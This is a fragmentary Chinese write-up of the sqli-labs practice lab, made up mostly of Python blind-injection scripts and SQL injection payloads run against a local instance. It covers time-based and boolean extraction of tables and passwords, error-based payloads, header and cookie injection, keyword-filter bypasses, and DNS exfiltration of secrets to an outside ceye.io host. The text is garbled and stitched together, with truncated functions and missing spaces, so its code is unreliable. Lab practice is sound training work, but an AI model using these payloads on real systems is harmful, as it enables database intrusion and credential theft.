defGuessDatasnum(dname, tname, cname): i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and %d=(SELECT count(%s) FROM %s.%s) and sleep(2)--+" %(i,cname,dname,tname)) html = r.text if clock()-s > 1.5: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) and sleep(2)--+" %(cname, dname, tname, n, i)) html = r.text if clock()-s < 1.5: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: s = clock() try: r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' and sleep(2)--+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
select XX,XX,XX from XX where username = '\(uname' and password = '\)passwd'
1' group by 3#
报错
select XX,XX from XX where username = '\(uname' and password = '\)passwd'
Username:' or 1 limit 1,2#
Password:(任意)
1 2 3
## Day12-Less12 ### 分析
select XX,XX,XX from XX where username = ("\(uname") and password = ("\)passwd")
1") group by 3#
报错
select XX,XX from XX where username = ("\(uname") and password = ("\)passwd")
Username:") or 1 limit 1,2#
Password:(任意)
1 2 3
## Day13-Less13 ### 分析
select XX,XX from XX where username = ('\(uname') and password = ('\)passwd')
') union select 1,2 from INFORMATION_SCHEMA.tables where updatexml(1,concat('',(select username from security.users limit 0,1),'',(select password from security.users limit 0,1)),1) #
1 2 3
## Day14-Less14 ### 分析
select XX,XX from XX where username = "\(uname" and password = "\)passwd"
" union select 1,2 from INFORMATION_SCHEMA.tables where updatexml(1,concat('',(select username from security.users limit 0,1),'',(select password from security.users limit 0,1)),1) #
1 2 3
## Day15-Less15 ### 分析
select XX,XX from XX where username = '\(uname' and password = '\)passwd'
1' or 1 #
def GuessDBLength(): print'[+]Guessing DBLength' i = 0 while 1: payload = {'uname': "0' or length(database())=%d#" %i, 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: print' [-]The DatabaseNameLength is', i return i i+=1
def GuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): payload = {'uname': "0' or ascii(SUBSTR(database(),%d,1))='%d'#" %(i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
def GuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while 1: payload = {'uname': "' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') #" %(i,name), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: print' [-]The Tables num is', i break i+=1 return i
def GuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while 1: payload = {'uname': "' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) #" %(name,n,i), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
def GuessTBsNames(num, DBName): TBsNames = [] fornoin range(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): payload = {'uname': "' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' #" %(DBName,no,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
def GuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while 1: payload = {'uname': "' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') #" %(i,tname,dname), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: print' [-]The Colunm num is', i return i i+=1
def GuessCLMLen(cnum, tname, dname): i = 1 while 1: payload = {'uname': "' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) #" %(tname,dname,cnum,i), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
def GuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum in range(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): payload = {'uname': "' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' #" %(tname,DBName,cnum,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'in html: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
def GuessDatasnum(dname, tname, cname): i = 0 while 1: payload = {'uname': "' or %d=(SELECT count(%s) FROM %s.%s) #" %(i,cname,dname,tname), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/?id=",data=payload) html = r.text if'flag.jpg'in html: print' [-]The Datas num is', i return i i+=1
def GuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while 1: payload = {'uname': "' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) #" %(cname, dname, tname, n, i), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) html = r.text if'flag.jpg'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
def GuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] fornoin range(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while 1: try: payload = {'uname': "' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' #" %(cname, dname, tname, no,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-15/",data=payload) break except: print'Relaxing...' html = r.text if'flag.jpg'in html: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
select XX,XX from XX where username = ("$uname") andpassword = ("$passwd")
1") or 1#
1") or1unionselect1,sleep(2) from (select1,2) as Troy wherelength(database())=8# 1") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR(database(),1,1))=115#
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: s = clock() payload = {'uname': '1") or 1 union select 1,sleep(2) from (select 1,2) as Troy where length(database())=%d#' %i, 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR(database(),%d,1))='%d'#" %(i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') #" %(i,name), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) #" %(name,n,i), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' #" %(DBName,no,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') #" %(i,tname,dname), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) #" %(tname,dname,cnum,i), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' #" %(tname,DBName,cnum,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s > 1.5: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where %d=(SELECT count(%s) FROM %s.%s) #" %(i,cname,dname,tname), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/?id=",data=payload)
if clock()-s > 1.5: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: s = clock() payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) #" %(cname, dname, tname, n, i), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload)
if clock()-s < 1.5: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: s = clock() try: payload = {'uname': "1\") or 1 union select 1,sleep(2) from (select 1,2) as Troy where ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' #" %(cname, dname, tname, no,i+1,n), 'passwd': ''} r = post("http://localhost/sqllab/Less-16/",data=payload) break except: print'Relaxing...'
if clock()-s > 1.5: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
UPDATE table SET password = '' WHERE username = 'Dhakkan'
基于报错注入:
UPDATE users SET password = ''+(select updatexml(1,concat('',(select from (select username from security.users limit 0,1)x),'',(select from (select password from security.users limit 0,1)x)),1))+'' WHERE username = 'Dhakkan';
(通过子查询,使 select 的表更换一个名称,解决在同一语句中不能先 select 出同一表中的某些值,再 update 这个表的限制)
UPDATE users SET password = ''+(select 1 from (select 1) as a where updatexml(1,concat('*',(select username from security.users as x limit 0,1)),1))+'' WHERE username = 'Dhakkan';
会报错:
即"ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause"
盲注也行:
基于时间
select(select case when length(database())=8 then sleep(1) else '1' end From ((select 1 as a) union (select 2 as b)) as c);
select(select if(length(database())=8,sleep(1),'1') From ((select 1 as a) union (select 2 as b)) as c);
或者基于正则
select(select 'a' REGEXP (case when length(database())=8 then '.' else '' end) From ((select 1 as a) union (select 2 as b)) as c);
即
UPDATE users SET password = ''+(select(select case when length(database())=8 then sleep(1) else '1' end From ((select 1 as a) union (select 2 as b)) as c))+'' WHERE username = 'Dhakkan';
或者
UPDATE users SET password = ''+(select(select 'a' REGEXP (case when length(database())=8 then '.' else '' end) From ((select 1 as a) union (select 2 as b)) as c))+'' WHERE username = 'Dhakkan';
UPDATE users SET password = ''+(select(select case when length(database())=8 then sleep(1) else '1' end From (select 1,2)))+'' WHERE username = 'Dhakkan';
from requests import *
pdata = {
'uname': "Dhakkan",
'passwd':"'+(select(select case when length(database())=8 then sleep(1) else '1' end From ((select 1 as a) union (select 2 as b)) as c))+'"
}
print post('http://localhost/sqllab/Less-17/', data = pdata).text
('
')#
','','')
Column count doesn't match value count at row 1
(由于一个 SQL 执行语句,前面的字段与后面值的数目不一致)
INSERT INTO("useragent","ip","username") VALUES('','::1','Dhakkan');
->
INSERT INTO("useragent","ip","username") VALUES('')#','::1','Dhakkan');
('') or 1#','','')
or 1#', '::1', 'Dhakkan')
INSERT INTO("useragent","ip","username") VALUES('') or 1#','::1','Dhakkan');
INSERT INTO("useragent","ip","username") VALUES('
1' and (select sleep(1) from (select 1,2)x where length(database())=7) or '
','::1','Dhakkan');
us 注入:
时间
1' and (select sleep(1) from (select 1,2)x where length(database())=7) or '
报错
1' and (select (updatexml(1,concat('',(select username from security.users limit 0,1),'',(select password from security.users limit 0,1)),1)) from (select 1,2)x) or '
1 2 3 4 5 6 7 8 9 10 11 12 13 14
### 代码 ```python from requests import *
pdata = { 'uname':'Dhakkan', 'passwd':'dumbo' } headers = { 'User-Agent': "1' and (select (updatexml(1,concat('*',(select username from security.users limit0,1),'*',(selectpasswordfrom security.users limit0,1)),1)) from (select1,2)x) or'", }
('') or 1#','','') or1#', '::1') INSERT INTO("referer","ip") VALUES('') or 1#','::1');
INSERTINTO("referer","ip") VALUES(' 1'and (select sleep(1) from (select1,2)x where length(database())=7) or' ','::1');
us 注入: 时间 1' and (select sleep(1) from (select 1,2)x where length(database())=7) or '
报错 1' and (select (updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1)),1)) from (select 1,2)x) or '
代码
1 2 3 4 5 6 7 8 9 10 11
from requests import *
pdata = { 'uname':'Dhakkan', 'passwd':'dumbo' } headers = { 'referer': "1' and (select (updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1)),1)) from (select 1,2)x) or '" }
') or (select (updatexml(1,concat('*',(select username from security.users limit0,1),'*',(selectpasswordfrom security.users limit0,1)),1)) from (select1,2)x)#
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from requests import * from base64 import *
pdata = { 'uname':'Dhakkan', 'passwd':'dumbo' }
u = b64encode("') or (select (updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1)),1)) from (select 1,2)x)#") headers = { 'cookie': "uname="+u+'; UM_distinctid=15db68de5331e6-0fcf1c23c85ccd-12646f4a-144000-15db68de534253; CNZZDATA1262026580=1159390564-1502004645-%7C1502024878; username-localhost-8888="2|1:0|10:1510795018|23:username-localhost-8888|44:NmRiN2Q4MWE2OTZhNGU3NDhmMjNhZWRkYjQ5YmZhOTQ=|959c6f4a2d8a84576742b1132668877b661cd90abae81fc711d382026152fcb0"; Pycharm-8eae623b=4803f404-6e14-4372-b6e4-df57d656fdb8' }
u = b64encode("\" or (select (updatexml(1,concat('*',(select username fromsecurity.users limit0,1),'*',(selectpasswordfromsecurity.users limit0,1)),1)) from (select1,2)x)#") 和 21 一样,只不过单引号改双引号
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from requests import * from base64 import *
pdata = { 'uname':'Dhakkan', 'passwd':'dumbo' }
u = b64encode("\" or (select (updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1)),1)) from (select 1,2)x)#") headers = { 'cookie': "uname="+u+'; UM_distinctid=15db68de5331e6-0fcf1c23c85ccd-12646f4a-144000-15db68de534253; CNZZDATA1262026580=1159390564-1502004645-%7C1502024878; username-localhost-8888="2|1:0|10:1510795018|23:username-localhost-8888|44:NmRiN2Q4MWE2OTZhNGU3NDhmMjNhZWRkYjQ5YmZhOTQ=|959c6f4a2d8a84576742b1132668877b661cd90abae81fc711d382026152fcb0"; Pycharm-8eae623b=4803f404-6e14-4372-b6e4-df57d656fdb8' }
0'|(select (updatexml(1,concat('*',(select username from security.users limit0,1),'*',(selectpasswordfrom security.users limit0,1)),1)) from (select1,2)x)--+ password 中的 or 被过滤成 passwd,报错 Unknown column 'passwd'in'field list' 改成下面就 ok 了
0'|(select (updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select passwoorrd from security.users limit 0,1)),1)) from (select 1,2)x)--+
还可以: 0' oorr (select (updatexml(1,concat('*',(select username from security.users limit0,1),'*',(select passwoorrd from security.users limit0,1)),1)) from (select1,2)x)--+
利用的话 0' union select 1,2,group_concat(username,'*',passwoorrd,'<br>') from users--+
Day26-Less25a
分析
1 2 3 4 5 6 7 8 9 10 11
数字型 盲注 基于错误: 0 oorr length(database())=7
时间: 1 aandnd (select sleep(1) from (select1,2,3 )x where length(database())=8)
其他利用 0unionselect1,2,group_concat(username,'*',passwoorrd,'<br>') from users
select *,* from XX where id = '0' or (select (updatexml(1,concat('*',(select username from security.users limit 0,1),'<>',(select password from security.users limit 0,1)),1)) from (select1,2)x) or '' LIMIT 0,1
代码
1 2 3 4 5 6 7 8 9 10 11 12
from requests import * import re
for i inrange(256): row = "0' oorr 1 oorr '" row = row.replace(' ','%%%x' %(i)) html = get("http://localhost/sqllab/Less-26/?id="+row).text print re.findall('result:(.+)</font> ',html)[0] if'Dumb'in html: print row print html
这个没报错 1')%a0union%a0select%a01,2,3%a0from%a0users%a0where%a0('1 即 1') union select1,2,3 from users where ('1
所以可以利用如下 0%27)%a0union%a0select%a01,2,group_concat(username,%27*%27,passwoorrd,%27%3Cbr%3E%27)%a0from%a0users%a0where%a0(%271 即 0') union select1,2,group_concat(username,'<>',password,'<br>') from users where ('1
应该有个判断,如果有错误也不抛异常 比如下面这句是 gg 的 1') and (select (updatexml(1,concat('|',(select username from security.users limit 0,1),'',(select password from security.users limit 0,1)),1)) from (select1,2)x) or ('0
#for i in range(256): #row = "0' oorr 1 oorr '" #row = row.replace(' ','%%%x' %(i)) #html = get("http://localhost/sqllab/Less-26a/?id="+row).text #print re.findall('result:(.+)</font> ',html)[0] #if 'Dumb' in html: #print row #print html
row = "0') or (select (updatexml(1,concat('|',(select username from security.users limit 0,1),'<>',(select password from security.users limit 0,1)),1)) from (select 1,2)x) or ('" row = row.replace(' ','%a0').replace('or','oorr')
html = get("http://localhost/sqllab/Less-26a/?id="+row).text print html print'XPATH'in html print row```
## Day29-Less27 ### 分析
只过滤了空格以及 union、select, sql 大小写不敏感,随便大写一下就过了,空格用 %a0
或者多嵌套几层
0" uunionnion seseleselectctlect 1,2,group_concat(username,'<>',password,' ') from users where "1
select 貌似过滤了几次,要多嵌套几层
EXEC('se'+'lect'+'* from users;' )
很简单:
0' or (selecT (updatexml(1,concat('|',(selecT username from security.users limit 0,1),'<>',(selecT password from security.users limit 0,1)),1)) from (selecT 1,2)x) or '
当然也有:
0' unioN selecT 1,2,group_concat(username,'<>',password,' ') from users where '1
defGetTableName(): gdata = { 'id': "0' union select 1,2,group_concat('=>',table_name,'<>',column_name,'\n') from information_schema.COLUMNS where TABLE_SCHEMA='challenges'#" }
r = get('http://localhost/sqllab/Less-54/index.php', params = gdata) html = r.text return findall(r'=>([a-z0-9]+)<>(.+)\n', html)
defGetColumnName(q,tablename): gdata = { 'id': "0' union select 1,2,group_concat('=>',%s,'\n') from challenges.%s#" %(q,tablename) } r = get('http://localhost/sqllab/Less-54/index.php', params = gdata) html = r.text return findall(r'=>(.+)<>(.+)<>(.+)<>(.+)\n', html)[0]
table = GetTableName() tableName = table[0][0] columns = ' [-]'+'\n [-]'.join(i[1] for i in table) print'[+]TableName:', tableName print'[+]CotablenamelumnsNames:\n', columns
q = ",'<>',".join(i[1] for i in table) data = GetColumnName(q,tableName)
print'[!]Password is:', data[2]```
## Day59-Less55 ### 分析
和 54 一样,只不过加了括号以及是数字型
0) union select 1,2,group_concat(table_name,'<>',column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges' or (0
?id=0) union select 1,2,group_concat(id,'<>',sessid,'<>',secret_25UU,'<>',tryy,' ') from challenges.e2du3yn5gq where (1
1 2 3
## Day60-Less56 ### 分析
和前 2 题一样的套路
?id=0') union select 1,2,group_concat(table_name,'<>',column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges'--+
?id=0') union select 1,2,group_concat(id,'<>',sessid,'<>',secret_ZV9U,'<>',tryy,' ') from challenges.7j9km4qsh7--+
1 2 3
## Day61-Less57 ### 分析
和前 3 题一样的套路
?id=0" union select 1,2,group_concat(table_name,'<>',column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges'--+
?id=0" union select 1,2,group_concat(id,'<>',sessid,'<>',secret_ZV9U,'<>',tryy,' ') from challenges.7j9km4qsh7--+
1 2 3
## Day62-Less58 ### 分析
?id=0' or (extractvalue(rand(),(select group_concat('->',table_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0' or (extractvalue(rand(),(select group_concat(column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0' or (extractvalue(rand(),(select group_concat('<>',secret_2EOZ) from challenges.ae85jljdmd)))--+
1 2 3
## Day63-Less59 ### 分析
和 58 一样,不过是数字型
?id=0 or (extractvalue(rand(),(select group_concat('->',table_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0 or (extractvalue(rand(),(select group_concat(column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0 or (extractvalue(rand(),(select group_concat('<>',secret_6GBR) from challenges.pebeduo6fx)))--+
1 2 3
## Day64-Less60 ### 分析
和 58 一样,不过是双引号加括号
?id=0") or (extractvalue(rand(),(select group_concat('->',table_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0") or (extractvalue(rand(),(select group_concat(column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0") or (extractvalue(rand(),(select group_concat('<>',secret_QIN6) from challenges.ortaw2xc59)))--+
1 2 3
## Day65-Less61 ### 分析
和 58 一样,不过是单引号加双括号
?id=0')) or (extractvalue(rand(),(select group_concat('->',table_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0')) or (extractvalue(rand(),(select group_concat(column_name,' ') from information_schema.COLUMNS where TABLE_SCHEMA='challenges')))--+
?id=0')) or (extractvalue(rand(),(select group_concat('<>',secret_VSZ6) from challenges.est6bn4mqy)))--+
1 2 3
## Day66-Less62 ### 分析
盲注
交给 py 去做吧
不过次数应该会大于 130
找到了一个更好的办法,DNS 解析
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.xxxxxx.ceye.io\abc'))
所以可以构造
http://localhost/sqllab/Less-62/?id=1') and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' limit 0,1),'.xxxxxx.ceye.io\abc'))),1,1)--+
得到
q1bcv0fqh9.xxxxxx.ceye.io
继续,得到表名
http://localhost/sqllab/Less-62/?id=1') and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' and column_NAME like 'sec%' limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
继续,得到 key
http://localhost/sqllab/Less-62/?id=1') and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT secret_T82V FROM challenges.q1bcv0fqh9 limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
### 代码 ```python from requests import get from string import ascii_letters, digits
def GuessTBNameLenth(n, name): global guessTime print'[+]Guessing TableName Length' i = 1 while 1: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i)) html = r.text if'Your Login name'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
def GuessTBsNames(num, DBName): global guessTime no = 0 name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in ascii_letters+digits: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1)='%s' --+" %(DBName,no,i+1,n)) html = r.text if'Your Login name'in html: name += n print' [-]', name break
print' [-]Tables Names is:', name return name
def GuessCLMNum(tname,dname): global guessTime print'[+]Guessing Colunms num' i = 0 while 1: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname)) html = r.text if'Your Login name'in html: print' [-]The Colunm num is', i return i i+=1
def GuessCLMLen(cnum, tname, dname): global guessTime i = 7 while 1: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i)) html = r.text if'Your Login name'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
def GuessCLMName(DBName, tname): global guessTime
print'[+]Guessing Colunms for', tname cnum = 2 #No.3 length = GuessCLMLen(cnum, tname, DBName) name = 'secret_' for i in xrange(7,length): for n in ascii_letters+digits: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)='%s' --+" %(tname,DBName,cnum,i+1,n)) html = r.text if'Your Login name'in html: name += n print' [-]', name break
data = GuessDatas(DBName, tname, name) print' [-]The Colunms are',name
def GuessDatasnum(dname, tname, cname): global guessTime i = 0 while 1: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname)) html = r.text if'Your Login name'in html: print' [-]The Datas num is', i return i i+=1
def GuessDataLen(dname, tname, cname, n): global guessTime print' [-]Guessing data length' i = 1 while 1: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i)) html = r.text if'Your Login name'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
def GuessDatas(dname, tname, cname): global guessTime datanum = GuessDatasnum(dname, tname, cname) Data = [] fornoin range(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in ascii_letters+digits: while 1: try: guessTime += 1 r = get("http://localhost/sqllab/Less-62/?id=') or SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)='%s' --+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if'Your Login name'in html: name += n print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
?id=1' and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' limit 0,1),'.xxxxxx.ceye.io\abc'))),1,1)--+
得到 ud7yymnibx
?id=1' and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' and column_NAME like 'sec%' limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
得到 secret_5YDC
